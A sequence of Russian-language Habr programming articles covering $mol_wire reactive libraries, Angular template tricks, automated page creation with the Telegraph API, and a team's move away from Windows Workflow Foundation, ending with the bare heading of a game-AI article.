* Раскрывается особенность `$mol_wire_async` позволяющая управлять будет ли предыдущая задача отменена автоматически.
* Приводится пример использования этой особенности для реализации *debounce*.
```
button.onclick = $mol_wire_async( function() {
$mol_wait_timeout( 1000 )
// no last-second calls if we're here
counter.sendIncrement()
} )
```
[Abort](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Abort)
=================================================================================================================
* Рассматриваются существующие в JS механизмы отмены асинхронных задач.
* Объясняется как использовать механизм контроля времени жизни в том числе и для обещаний.
* Приводится пример простейшего HTTP загрузчика, способного автоматически отменять запросы.
```
const fetchJSON = $mol_wire_sync( function fetch_abortable(
input: RequestInfo,
init: RequestInit = {}
) {
const controller = new AbortController
init.signal ||= controller.signal
const promise = fetch( input, init )
.then( response => response.json() )
const destructor = ()=> controller.abort()
return Object.assign( promise, { destructor } )
} )
```
[Cycle](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Cycle)
=================================================================================================================
* Разбирается наивная реализация конвертера температур с циклической зависимостью.
* Реализуется корректный конвертер температур без циклических зависимостей путём выноса источника истины в отдельный атом.
* Раскрывается техника снижения алгоритмической сложности через реактивную мемоизацию на примере вычисления чисел Фибоначчи.
[Atomic](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Atomic)
===================================================================================================================
* Рассматриваются проблемы транзакционности работы со внешними состояниями, не поддерживающими изоляцию, на примере личных заметок и локального хранилища.
* Подчёркивается важность не только внутренней согласованности, но и согласованности со внешними состояниями.
* Раскрываются проблемы обмана пользователя, которые только усугубляют ситуацию с которой призваны бороться.
* Обосновывается бесперспективность отката уже принятых изменений и неизбежность несогласованности внешнего состояния.
* Принимается решение не морочить прикладному программисту голову, а сконцентрироваться на том, чтобы он лучше понимал, что происходит.
* Предлагается писать прикладную логику, нормализующую неконсистентность исходных данных.
[Economy](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Economy)
=====================================================================================================================
* Приводятся результаты замеров скорости и потребления памяти `$mol_wire` в сравнении с ближайшим конкурентом `MobX`.
* Раскрываются решающие факторы позволяющие `$mol_wire` показывать более чем двукратное преимущество по всем параметрам не смотря на фору из-за улучшенного debug experience.
* Приводятся замеры показывающие конкурентоспособность `$mol_wire` даже на чужом поле, где возможности частичного пересчёта состояний не задействуются.
* Обосновывается важность максимальной оптимизации и экономности реактивной системы.
[Reactive ReactJS](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Reactive%20ReactJS)
-----------------------------------------------------------------------------------------------------------------------------------------
* Приводятся основные архитектурные проблемы ReactJS.
* Вводятся такие архитектурные улучшения из $mol как *controlled but stateful*, *update without recomposition*, *lazy pull*, *auto props* и другие.
* Большая часть проблем решается путём реализации базового ReactJS компонента с прикрученным `$mol_wire`.
* Реализуется компонент автоматически отображающий статус асинхронных процессов внутри себя.
* Реализуется реактивное GitHub API, не зависящее от ReactJS.
* Реализуется кнопка с индикацией статуса выполнения действия.
* Реализуется поле ввода текста и использующее его поле ввода числа.
* Реализуется приложение позволяющее вводить номер статьи и загружающее с GitHub её название.
* Демонстрируется частичное поднятие стейта компонента.
* Приводятся логи работы в различных сценариях, показывающие отсутствие лишних ререндеров.
[Reactive JSX](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Reactive%20JSX)
---------------------------------------------------------------------------------------------------------------------------------
* Обосновывается отсутствие пользы от ReactJS в реактивной среде.
* Привносится библиотека `mol_jsx_lib` осуществляющая рендер JSX напрямую в реальный DOM.
* Обнаруживаются улучшения в гидратации, перемещении компонент без ререндера, доступа к DOM узлам, именовании атрибутов и тд.
* Демонстрируются возможности каскадной стилизации по автоматически генерируемым именам классов.
* Приводятся замеры показывающие уменьшение бандла в 5 раз при сопоставимой скорости работы.
[Reactive DOM](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Reactive%20DOM)
---------------------------------------------------------------------------------------------------------------------------------
* Приводятся основные архитектурные проблемы DOM.
* Предлагается proposal по добавлению реактивности в JS Runtime.
* Привносится библиотека `mol_wire_dom` позволяющая попробовать реактивный DOM уже сейчас.
[Lazy DOM](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Lazy%20DOM)
-------------------------------------------------------------------------------------------------------------------------
* Обосновывается необходимость ленивого построения DOM для заполнения лишь видимой области страницы.
* Подчёркивается сложность виртуализации рендеринга DOM как на уровне фреймворка, так и на прикладном уровне.
* Предлагается стратегии по продвижению реактивности в стандарты.
[Reactive Framework](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Reactive%20Framework)
---------------------------------------------------------------------------------------------------------------------------------------------
* Уменьшается объём кода приложения в несколько раз путём отказа от JSX в пользу всех возможностей $mol.
* Отмечается также и расширение функциональности приложения без дополнительных движений.
[Results](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Results)
=====================================================================================================================
Итого, введя простую, но гибкую абстракцию каналов, мы проработали множество паттернов их использования для достижения самых разных целей. Единожды разобравшись в этом, мы можем создавать приложения любой сложности, и весело интегрироваться с самыми разными API.
Добавление каналам реактивной мемоизации с автоматической ревалидацией, освобождением ресурсов и поддержкой асинхронности, дало нам как радикальное упрощение прикладного кода, так и повышение его эффективности в потреблении ресурсов процессора и памяти.
А для тех, кто по каким-либо причинам ещё не готов полностью переходить на [фреймворк $mol](https://mol.hyoo.ru/), мы подготовили несколько независимых микробиблиотек:
* [$mol\_key](https://github.com/hyoo-ru/mam_mol/tree/master/key) (1 KB) — уникальный ключ для структур
* [$mol\_compare\_deep](https://github.com/hyoo-ru/mam_mol/tree/master/compare/deep) (1 KB) — быстрое глубокое сравнение объектов
* [$mol\_wire\_pub](https://github.com/hyoo-ru/mam_mol/tree/master/wire/pub) (1.5 KB) — минимальный издатель для интеграции в реактивный рантайм
* [$mol\_wire\_lib](https://github.com/hyoo-ru/mam_mol/tree/master/wire/lib) (7 KB) — полный набор инструментов для реактивного программирования
* [$mol\_wire\_dom](https://github.com/hyoo-ru/mam_mol/tree/master/wire/dom) (7.5 KB) — магия превращения обычного DOM в ReactiveDOM.
* [$mol\_jsx\_view](https://github.com/hyoo-ru/mam_mol/tree/master/jsx/view) (8 KB) — по настоящему реактивный React.
Хватайте их в руки и давайте зажигать вместе!
[Growth](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Growth)
===================================================================================================================
* Приводятся реальные кейсы, где $mol хорошо себя показал в скорости обучения, разработки, запуска, отзывчивости и даже в уменьшении размера команды с сохранением конкурентоспособности.
* Раскрываются основные достоинства разрабатываемой нами на его основе оупенсорс веб-платформы нового поколения.
* Освещаются радужные перспективы по импортозамещению множества веб-сервисов на новом уровне качества.
* Подробно разбираются уже начатые нами проекты, написанные наукоёмкие статьи и записанные хардкорные доклады.
* Предлагается дать денег на продолжение этого банкета или самим начать готовить закуски.
Feedback
========
Эх, мой технический уровень всё ещё недостаточен для Хабра.. | https://habr.com/ru/post/673138/ | null | ru | null |
# Bindon: малоизвестные фишки шаблонов Angular
Недавно вышел Angular 12, а вместе с ним в шаблоны подвезли [оператор нулевого слияния](https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/Nullish_coalescing_operator) (`??`). Но что еще умеют шаблоны Angular, о чем вы, возможно, и не слышали? Давайте разберемся!
ngProjectAs
-----------
Проекция контента в Angular похожа на [систему слотов Web Components.](https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_templates_and_slots) Вы можете написать просто — и все, что вы поместите внутрь вашего компонента, будет спроецировано туда.
Вы также можете добавить несколько тэгов контента и проецировать отдельные части содержимого в разные места через атрибут `select`, как на примере ниже:
```
@Component({
selector: 'layout',
template: `
`,
styles: [
`
:host {
height: 100%;
display: flex;
flex-direction: column;
}
main {
display: flex;
flex: 1;
}
`
]
})
export class LayoutComponent {}
```
Такому компоненту можно передать содержимое следующим образом:
```
Header
Sidebar
Footer
I am content
```
Но что, если вы хотите спроецировать текст, не оборачивая его DOM-элементом? Или, например, поместить блок из нескольких элементов в один слот? Тогда можно использовать тэг `ng-container`, пометив его атрибутом `ngProjectAs`. Вот пример:
<https://stackblitz.com/edit/angular-content-selection>
Совсем недавно на angular.io добавили [отдельную статью о проецировании контента](https://angular.io/guide/content-projection).
ngNonBindable
-------------
Допустим, вы хотите вывести на страницу пример интерполяции фигурными скобками, показав как есть: `Hello, {{userName}}`. Но, если вы хотите вывести непосредственно фигурные скобки, их нужно экранировать. Иначе Angular попытается их обработать. Добавьте одну `{` в шаблон. Вы увидите следующее сообщение:
> Do you have an unescaped "{" in your template? Use "{{ '{' }}") to escape it.
>
>
Писать пять скобок вместо одной — это перебор. Возможно, вы подумали [про изменение символа интерполяции](https://angular.io/api/core/Component#interpolation) для этого компонента, но это не поможет. **Свой символ интерполяции только добавляет альтернативу, а не заменяет символ по умолчанию**.
На помощь приходит `ngNonBindable`. Это директива компилятора (как `i18n`), которая говорит ему относиться к этому куску как к простому HTML: `Hello, {{userName}}`
ngPreserveWhitespaces
---------------------
Как вы, наверное, знаете, Angular избавляет вас от головной боли пустых кусков в разметке, удаляя их при компиляции. Эту штуку можно отключить в `angularCompilerOptions` в `tsconfig.json` для всего проекта или [в декораторе @Component](https://angular.io/api/core/Component#preserveWhitespaces) для конкретного компонента.
В целом это довольно полезная фишка, но иногда может быть необходимо отключить ее на небольшом куске шаблона. Еще одна директива компилятора может помочь с этим: просто поместите `ngPreserveWhitespaces` на элемент — и компилятор оставит все пробелы внутри в целости.
&ngsp
-----
В продолжение прошлого пункта: символ неразрывного пробела компилятор считает за пробел и удаляет. Если вы хотите его сохранить, есть специальный символ, хотите верьте, хотите нет, [пришедший из Angular Dart](https://github.com/angular/angular/blob/master/packages/compiler/src/ml_parser/html_whitespaces.ts#L27-L36) — `&ngsp`. Он переживет чистку компилятора и будет заменен на обычный .
$any()
------
Вам когда-то попадались библиотеки с кривыми типами? Например, вы оперируете немутабельными данными и хотите передать в инпут компонента массив. Но автор библиотеки указал в качестве типа обычный массив. TypeScript выдаст вам ошибку, указав, что ваш ReadOnly-массив не имеет мутабельных методов и не может быть передан в компонент. Или бывает, что указанный интерфейс в принципе некорректный, если мейнтейнер библиотеки не фанат TypeScript. В таком случае есть два действия, которые нужно предпринять:
1. Обернуть ваш объект в специальную функцию `$any`: `[value]="$any(value)"`.
2. Пойти в GitHub библиотеки и завести PR, исправляющий типы.
Не забудьте про второй пункт, без него ничего не сработает!
Bindon
------
У вас не рябит в глазах от обилия специальных символов?
А ведь есть [альтернативный синтаксис](https://angular.io/guide/binding-syntax#types-of-data-binding), с помощью которого тот же шаблон можно записать без всех этих скобок:
Честно говоря, не знаю, зачем так делать. Может быть, чтобы было легко сортировать байндинги по типу? В любом случае теперь вы тоже так умеете.
Бонус
-----
А вы знали, что, кроме `ng-template`, `ng-container` и `ng-content`, есть еще один встроенный тэг: `ng-component`. Это не совсем фишка шаблонов, но я впервые увидел его, изучая шаблон в DevTools, и меня эта находка удивила, так что я решил включить ее в статью.
Может быть, вы догадаетесь, отчего он появляется в HTML? Небольшая подсказка: селектор в `@Component` необязателен.
```
@Component({
selector: 'app-root', // ←---- это поле опционально
...
})
```
Что же Angular может использовать для компонентов без селектора? Именно `ng-component` — автоматически созданный под них тэг. Но как компонент без селектора может оказаться в разметке? Его можно динамически создать с помощью `*ngComponentOutlet` или его может вставить Router.
Знаете ли вы еще какие-то особенные, плохо задокументированные возможности шаблонов, которые я не упомянул? Поделитесь ими в комментариях! А то я нигде не встречал полного списка и собрал все это из личного опыта и путешествий по исходникам. | https://habr.com/ru/post/564622/ | null | ru | null |
# Telegraph API: автоматизированное создание заметок
Сервису telegra.ph уже много лет, но информации о том как пользоваться его api почему-то не много, тем временем, крупные телеграм-каналы потихоньку приступили к промышленному освоению. Инструмент вполне себе неплохая альтернатива созданию веб-страниц, к тому же появилась удобная библиотека, которая позволяет автоматизировать процесс.
С чего всё началось:
--------------------
Случайно обратил внимание на кнопку "Посмотреть", которая появилась на некоторых телеграмм-каналах ("Раньше всех, ну почти", и "RT на русском")
Если нажать кнопку, то открывается статья судя-по всему на telegra.ph, что интересно, в самом посте ссылка на сайт, и на компьютере она туда и ведет, а вот в мобильной версии, есть такой вот просмотр. Пока не разбирался с деталями именно такой реализации, но сделать автопостинг в телеграф сразу захотелось, об этом, собственно дальше и будет разговор.
Array of Node или главная загвоздка Telegraph API и её разрешение
-----------------------------------------------------------------
В целом, ничего сложного в Telegraph API нет, основная проблема была в том, что передавать содержание страницы нужно в виде *Array of* [*Node*](https://telegra.ph/api#Node)*, up to 64 KB*. Т.е. просто написать "Hello world" не получится (нужно писать ["Hello world"]), а передать какую-то разметку, так совсем не просто, например "**Hello world"**:
```
[
{
"tag": "b",
"children": ["Hello world"]
}
]
```
Однако решение есть, это библиотека [Telegraph](https://python-telegraph.readthedocs.io/en/latest/index.html#), впрочем, постараюсь рассказать как работать и без неё. Приступаем.
Создание аккаунта и получение токена
------------------------------------
Все работает через запросы к [https://api.telegra.ph/](https://api.telegra.ph/%method%) после чего указывается метод и, если надо, путь. Делать это можно как угодно: curl из командной строки, или requests.get() в питоне, или где хотите ещё. Я приведу пример работы в python.
Чтобы создать новый аккаунт нужно выполнить просто запрос к [https://api.telegra.ph/](https://api.telegra.ph/%method%) с указанием метода **createAccount**:
```
import requests
#создаем параметры для создания профиля
data={
'short_name':'', # ОБЯЗАТЕЛЬНЫЙ ПАРАМЕТР, имя учетной записи, помогает пользователям с несколькими учетными записями запомнить, какая сейчас используются. Отображается пользователю над кнопкой «Изменить / Опубликовать» на Telegra.ph, другие пользователи не видят это имя.
'author_name':'', # Не обязательно. Указывает автора в заголовке странцы
'author_url':'' # Не обязательно. Ссылка открывается, когда пользователи нажимают на имя автора под заголовком. Это может быть любая ссылка, не обязательно на профиль или канал Telegram.
}
#отправляем запрос ответ понадобится, запишем в переменную:
result=requests.get("https://api.telegra.ph/createAccount?", params=data)
```
Из bash будет так:
```
curl https://api.telegra.ph/createAccount?short_name=Sandbox&author_name=Anonymous
```
С библиотекой telegraph: нужно её установить (pip install telegraph), а дальше всё просто:
```
import requests
from telegraph import Telegraph
telegraph = Telegraph()
result=telegraph.create_account(short_name='1337')
```
В ответ приходит json с токеном и прочим. Токен надо сохранять, я сохраню полученные данные в файл graph\_bot.json
```
with open('graph_bot.json', 'w', encoding='utf-8') as f:
json.dump(graph_bot, f, ensure_ascii=False, indent=4) # сохраняю в файл graph_bot
```
Вывод result.json()
```
{
"ok":true,
"result":
{
"short_name":"", #тут будет имя
"author_name":"",
"author_url":"",
"access_token":"", #тут токен
"auth_url":""
}
}
```
Что интересно, метода удаления профайла и страниц не обнаружил. Имена аккаунтов не уникальные, можно насоздавать сколько угодно профилей с одинаковым именем, разница будет только в токенах.
Создание страницы (createPage)
------------------------------
Получаем токен из сохраненного json и передаём запрос на создание страницы:
```
with open('graph_bot.json') as f:
graph_bot = json.load(f)
#создание страницы
data={
'access_token':graph_bot["access_token"],
'title':'article_head', # Заголовок, обязательный параметр
'author_name':graph_bot["author_name"], # это поле можно не заполнять
'content': content_json,# Текст (массив Node), обязательный параметр
'return_content':'false' # если стоит true в ответе придет и то, что размещено, если false, то поле не вернется
}
page=requests.get("https://api.telegra.ph/createPage?", params=data)
```
Если всё пройдет хорошо, в ответ придет примерно такой результат:
```
{
'ok': True,
'result':
{
'path': 'article-head-11-04-2',
'url': 'https://telegra.ph/article-head-11-04-2',
'title': 'article_head',
'description': '',
'author_name': 'Bot',
'views': 0,
'can_edit': True
}
}
```
Если в отправляемых данных есть ошибка, возвращается сообщение о ней:
```
{
'ok': False,
'error': 'CONTENT_FORMAT_INVALID' # передан не array of node
}
```
Как уже сказал выше, главная проблема тут, это правильный формат передаваемого текста, рабочий парсер **html to node** реализован в [библиотеке telegraph](https://python-telegraph.readthedocs.io/en/latest/index.html#). Тут всё просто, можно сохранить весь HTML в строковую переменную и спокойно её передать в виде соответствующего поля:
```
from telegraph import Telegraph
telegraph = Telegraph("access_token") # передаём токен доступ к страницам аккаунта
response = telegraph.create_page(
'Hey', # заголовок страницы
html_content='Hello, world!
' # ставим параметр html_content, добавляем текст страницы
)
print('https://telegra.ph/{}'.format(response['path'])) # распечатываем адрес страницы
```
Получаем страницу: <https://telegra.ph/Hey-11-04-22>
В библиотеке довольно внушительный список запрещенных тэгов, но для минимальной верстки telegra.ph хватает
Изменение страницы (editPage)
-----------------------------
Чтобы изменить страницу надо знать её адрес, он идет после ph/ для страницы [https://telegra.ph/**Hey-11-04-22**](https://telegra.ph/Hey-11-04-22) параметр path будет "Hey-11-04-22". И конечно, токен доступа. Отправляем запрос с указанием метода и параметрами к https://api.telegra.ph/**editPage**
```
data={
'path':'Hey-11-04-22', #путь к странице он содержится в url после https://telegra.ph/
'access_token':'your_token', # токен
'title':'article_head', #заголовок, обязательный параметр, если не меняется, всё равно надо прописывать
'author_name':None,
'content': content_json, #содержание страницы должен быть Array of Node
'return_content':'false'
}
#редактирование страницы
requests.get("https://api.telegra.ph/editPage?", params=data)
```
Опять же тут проблема в формате данных, которые должны быть Array of Node. Воспользуемся готовым решением:
```
from telegraph import Telegraph
telegraph = Telegraph('access_token') # чтобы получить доступ к вашим страницам
telegraph.edit_page(
path="", # обязательный параметр
title="", # обязательный параметр
html_content="", #измененное содержание страницы, тут можно передать хоть строку с тегами, хоть руками написать что надо
author_name="", # можно пропустить
author_url="", # можно пропустить
return_content=False
)
```
В случае ошибки приходит сообщение {'ok': False, 'error': 'описание ошибки'}. Если всё хорошо, статус 'ok' будет True.
Что ещё можно:
--------------
В целом, для создания и редактирования страниц достаточно, думаю принцип работы понятен. Также можно:
* посмотреть и изменить информацию об аккаунте,
* отозвать токен,
* посмотреть свои страницы и
* количество просмотров на них (делаем аналитику).
Например информация о профиле:
```
data={
'access_token': "access_token",
'fields':'["short_name","page_count"]'
}
account_info=requests.get("https://api.telegra.ph/getAccountInfo?", params=data)
print(account_info.json())
```
Все можно почитать в документации:
* [Документация по Telegraph API](https://telegra.ph/api)
* [Документация по Telegraph Python Telegraph API wrapper](https://python-telegraph.readthedocs.io/en/latest/index.html) | https://habr.com/ru/post/587430/ | null | ru | null |
# Workflow в Document Approval System
Когда .NET разработчик слышит слова «В проект нужно добавить workflow», то первым приходит в голову идея взять Windows Workflow Foundation.
В 2010 году мы выбрали WF в качестве движка документооборота.
Аргументы просты:
* Бесплатно;
* Встроено в Visual Studio;
* В интернете много информации об использовании WF.
За полтора года (с августа 2010 по февраль 2012) использования WF мы столкнулись с массой разнообразных проблем при реализации требований клиента. В конечном итоге мы были вынуждены отказаться от Windows Workflow Foundation и сделать свою реализацию State Machine.
В этой статье я расскажу об основных проблемах, с которыми мы сталкивались, и как решали (или не решали).
Введение
--------
На мой взгляд, есть две статьи, которые неплохо описывают применение WF в Document Approval System.
Для WWF 3: [«Document approval workflow system»](http://www.codeproject.com/Articles/17964/Document-approval-workflow-system);
Для WWF 4: [«Обзор Windows Workflow Foundation на примере построения системы электронного документооборота»](http://habrahabr.ru/company/luxoft/blog/182746/).
Описывают неплохо, но описывают только вершину айсберга.
Если кратко, в этих статьях рассказывается о том, как:
* Нарисовать схему;
* Как двигать документ по маршруту;
* Как указывать условия движения.
Реализация даже этих простых операций требует весьма существенных трудозатрат и не обходится без костылей и плясок с бубном. Плясали с этим бубном и мы.
В отличие от коллеги из Luxoft, я ~~набрался смелости и~~ выложил нашу реализацию модуля workflow на WWF 3.5 «as is» в публичный доступ.
URL: [Budget.Server](https://github.com/optimajet/WorkflowEngine.NET/tree/master/Other/WorkflowFoundation/Budget.Server)
**Краткая информация о проекте**Проект состоит из двух частей: клиентское WinForms-приложение и серверная часть.
По ссылке опубликованы исходники серверной части.
Серверная часть отвечает за документооборот и интеграцию с внешними системами.
Схемы workflow находятся в проекте **Budget2.Workflow** (Мы использовали WWF 3.5, но те же проблемы остались в WWF 4).
API для работы с workflow в файле: **Budget.Server\API\Services\WorkflowAPI.cs**
Итак, поехали.
Как мы боролись с Workflow Foundation
-------------------------------------
Вы подключили WF к проекту, научились двигать документ по маршруту, указали условия смены статуса. О том, как это сделать, написано в статьях, которые я привел выше.
Дальше начинается самое интересное…
#### Получение списка доступных команд для пользователя
WF не поддерживает Commands и Actors (автор документа, начальник автора, контролер, менеджер).
Это нужно реализовывать самостоятельно. Причем, если в версии WWF 4 можно получить список Bookmarks, то в версии 3.5 этого сделать было нельзя и приходилось для каждого состояния список команд хранить отдельно.
Процитирую автора из вышеобозначенной статьи:
> Кроме того, к каждой Общей активности отдельно сохраняется некоторый набор метаданных: привилегии для запуска, типы документов, по которым разрешено запускать активность, Dynamic LINQ – выражение к документу для проверки возможности запуска и другие.
Для **каждой** активности **отдельно** нужно указать набор метаданных, по которым потом нужно проверять доступ.
Всё правильно, мы точно так же делали.
Один раз это можно сделать, поддерживать это в актуальном состоянии затруднительно.
#### Получение списка входящих документов
Это требование мы реализовывать уже после того, как схема была реализована в WF.
Проблема была до банальности проста: мы могли определить, *может ли пользователь на текущем этапе согласовать конкретный документ*, но *мы не могли получить список всех пользователей, которые могут согласовать документ на данном этапе*. В системе порядка 300-400 пользователей, перебором проблему было не решить.
Это вынудило нас написать фильтр, который делал выборку документов, доступных для согласования текущем пользователем в зависимости от ролей пользователя, его места в иерархии подразделений, атрибутов документа и прочих параметров.
**Пример фильтра**Статусы процесса перечислены в enum BillDemandStateEnum.
```
private string GetFilter()
{
List deputyIds =
DeputyEmployeeRepository.GetReplaceableEmployeeIdentityIds(DocumentType.BillDemand,EmployeeRepository.CurrentEmployee,
true);
string idsString = StringUtil.GetString(deputyIds);
string opSubfilter =
string.Format(
"SELECT dbd.{0} FROM {1} dbd INNER JOIN {2} ON dbd.{0} = {3} INNER JOIN {4} ON {5} = {6} LEFT OUTER JOIN {7} ON dbd.{0} = {8} AND {9} = {10} WHERE {11} IS NULL",
BillDemandTableBase.SelectColumn\_Id,
BillDemandTableBase.DEFAULT\_NAME,
BillDemandDistributionTableBase.DEFAULT\_NAME,
BillDemandDistributionTableBase.FilterColumn\_BillDemandDistribution\_BillDemandId,
DemandTableBase.DEFAULT\_NAME,
BillDemandDistributionTableBase.FilterColumn\_BillDemandDistribution\_DemandId,
DemandTableBase.FilterColumn\_Demand\_Id,
WorkflowSightingTableBase.DEFAULT\_NAME,
WorkflowSightingTableBase.FilterColumn\_WorkflowSighting\_EntityId,
DemandTableBase.FilterColumn\_Demand\_ExecutorStructId,
WorkflowSightingTableBase.FilterColumn\_WorkflowSighting\_ItemId,
WorkflowSightingTableBase.FilterColumn\_WorkflowSighting\_Id
);
string limitSubfilter =
string.Format(
"SELECT {0} FROM {1} WHERE {2} = {3} AND {4} = {5} AND {6} IS NULL AND {7} IN ({8}) ",
WorkflowSightingTableBase.SelectColumn\_Id, WorkflowSightingTableBase.DEFAULT\_NAME,
BillDemandTableBase.FilterColumn\_BillDemand\_Id,
WorkflowSightingTableBase.FilterColumn\_WorkflowSighting\_EntityId,
WorkflowSightingTableBase.SelectColumn\_StateId,
BillDemandTableBase.FilterColumn\_BillDemand\_BillDemandStateId,
WorkflowSightingTableBase.SelectColumn\_SightingTime,
WorkflowSightingTableBase.SelectColumn\_SighterId, idsString);
string filter =
string.Format(
"({0} IN ({1},{2}) AND {3} IN ({4})) OR ( EXISTS ({5}) )",
BillDemandTableBase.FilterColumn\_BillDemand\_BillDemandStateId,
(int) BillDemandStateEnum.Draft,
(int) BillDemandStateEnum.PostingAccounting,
BillDemandTableBase.FilterColumn\_BillDemand\_AuthorId,
idsString,
limitSubfilter);
if (SecurityHelper.IsPrincipalsInRole(deputyIds, SecurityHelper.ControllerRoleId))
filter += string.Format(" OR {0} = {1}", BillDemandTableBase.FilterColumn\_BillDemand\_BillDemandStateId,
(int) BillDemandStateEnum.UPKZControllerSighting);
if (SecurityHelper.IsPrincipalsInRole(deputyIds, SecurityHelper.CuratorRoleId))
filter += string.Format(" OR {0} = {1}", BillDemandTableBase.FilterColumn\_BillDemand\_BillDemandStateId,
(int) BillDemandStateEnum.UPKZCuratorSighting);
if (SecurityHelper.IsPrincipalsInRole(deputyIds, SecurityHelper.UPKZHeadRoleId))
filter += string.Format(" OR {0} = {1}", BillDemandTableBase.FilterColumn\_BillDemand\_BillDemandStateId,
(int) BillDemandStateEnum.UPKZHeadSighting);
if (SecurityHelper.IsPrincipalsAccountant(deputyIds, BudgetPart))
{
if (CommonSettings.CheckAccountingInFilial)
{
filter += string.Format(" OR ({0} = {1} AND {2} = '{3}')",
BillDemandTableBase.FilterColumn\_BillDemand\_BillDemandStateId,
(int) BillDemandStateEnum.InAccounting,
BillDemandTableBase.FilterColumn\_BillDemand\_FilialId,
EmployeeRepository.CurrentEmployeeFilialId);
}
else
{
filter += string.Format(" OR ({0} = {1})",
BillDemandTableBase.FilterColumn\_BillDemand\_BillDemandStateId,
(int)BillDemandStateEnum.InAccounting
);
}
}
List deputyDivisionHeads = SecurityHelper.GetPrincipalsDivisionHead(deputyIds, BudgetPart);
if (deputyDivisionHeads.Count > 0)
{
string currentEmployeeChildrenStructs = EmployeeRepository.CurrentEmployeeChildrenStructs.Replace("(", "").Replace(")", "");
string deputyDevisionHeadString = StringUtil.GetString(deputyDivisionHeads);
filter +=
string.Format(
" OR ({0} = {1} AND EXISTS (SELECT vp.Id FROM [dbo].[vStructDivisionParentsAndThis] vp INNER JOIN {2} e ON vp.ParentId = e.{3} WHERE vp.Id = {4} AND e.{5} IN ({6})))",
BillDemandTableBase.FilterColumn\_BillDemand\_BillDemandStateId,
(int)BillDemandStateEnum.HeadInitiatorSighting,
EmployeeRepository.DEFAULT\_NAME,
EmployeeRepository.SelectColumn\_StructDivisionId,
BillDemandTableBase.FilterColumn\_AuthorStructDivision\_Id,
EmployeeRepository.SelectColumn\_SecurityTrusteeId,
deputyDevisionHeadString
);
filter +=
string.Format(
" OR ({0} = {1} AND {2} > 0 AND EXISTS ({3} AND {4} IN ({5}) AND dbd.{6} = {7}))",
BillDemandTableBase.FilterColumn\_BillDemand\_BillDemandStateId,
(int) BillDemandStateEnum.LimitManagerSighting,
BillDemandTableBase.FilterColumn\_BillDemand\_BudgetPartId, opSubfilter,
DemandTableBase.FilterColumn\_Demand\_ExecutorStructId,
currentEmployeeChildrenStructs,
BillDemandTableBase.SelectColumn\_Id,
BillDemandTableBase.FilterColumn\_BillDemand\_Id);
}
return filter;
}
```
На эти фильтры у нас ушло 2 недели.
#### Версионирование схем
Встроенных механизмом версионирования и обновления схемы процесса в Windows Workflow Foundation 3.5 нет.
В WF 4 ситуация не изменилась — [Version handling in Workflow Foundation 4](http://weblogs.asp.net/gabriellopez/version-handling-in-workflow-foundation-4).
Если процесс запущен, то обновить схему марш просто так не получиться. Для обновления схемы нужно иметь старую схему и немножко потанцевать с бубном. Плясали примерно неделю-две, но сделали более или менее работающий [механизм обновления схем](https://github.com/optimajet/WorkflowEngine.NET/blob/master/Other/WorkflowFoundation/Budget.Server/Workflow/Services/WorkflowSupportService.cs). Теперь наш проект регулярно пополнялся DDL с наименованиями Workflow.xxx.dll, где xxx — это номер старой версии.
#### История согласования… с перечислениями будущих этапов
Реализация истории согласования вещь тривиальная. Нужно сохранять в табличку информацию кто, когда и на какую кнопку нажал. Но простая история согласования клиента не устраивала.
Клиент захотел, чтобы система показывала список оставшихся для согласования этапов (будущие этапы) и для каждого такого этапа через запятую перечислять список пользователей, которые могут документ согласовать.
На этом танцы бубном вокруг WF нам надоели. Стали думать, как бы нам расстаться с...WF.
> К слову сказать, сейчас мы эту задачку решаем на раз-два: в нашем продукте есть специальный режим — Pre-Execution mode. Который позволяет сделать холостой прогон по маршруту и сформировать будущие этапы и потенциальных согласователей.
#### «Дайте нам дизайнер»
Дать клиенту дизайнер от WF, по понятным причинам, мы не могли. Не помню как, но как-то убедили клиента, что не стоит на данном этапе этого делать.
#### Динамическое добавление состояний в схему
Через год клиент захотел, чтобы в маршрут документа по некоторым условиям добавлялись новые состояния из специального справочника.
Мы не смогли найти ни одного примера, где показывался бы механизм генерации схемы процесса. Поэтому не стали даже пытаться это сделать. Попросили клиента подождать пару месяцев, пока мы будем мигрировать с WF на нашу разработку. Клиент отнеся с пониманием. За что большое ему спасибо.
*Если кто-то реализовывал подобный кейс на WF, поделитесь примером, очень интересно на это посмотреть.*
#### Поддержка
После успешного внедрения развитие системы не остановилось. Новые требования поступали регулярно.
Мы вносили изменения с схему маршрута и после каждого обновления нам приходило баги из серии:
* Почему пользователь не видит документ, который должен согласовать?
* Почему пользователь видит документ, но не может согласовать?
* Почему пользователь согласует документ, а у него ошибка вылетает?
Это типичная ситуация для случаев, где логика дублируется (часть условий в WF, часть в метаданных, часть в SQL фильтре для входящих).
К этому добавилось то, что WF выдавал непонятные ошибки, которые однозначно нельзя было интерпретировать. Несколько раз приходилось выезжать на площадку к клиенту.
Подведем итоги
--------------
Если вы делаете информационную систему, где есть функционал согласования, то с вероятность 99% вы столкнетесь с большинством из перечисленных выше случаев. Реализовывать это на WF может позволить себе не каждая компания. Не каждый заказчик за это будет готов платить.
Для себя мы сделали выбор — написали свой движок Workflow Engine .NET и успешно его применяем в своих проектах.
В нем мы учли наш опыт реализации систем класса — Document Approval System.
 | https://habr.com/ru/post/248525/ | null | ru | null |
# Обзор техник реализации игрового ИИ
Введение
========
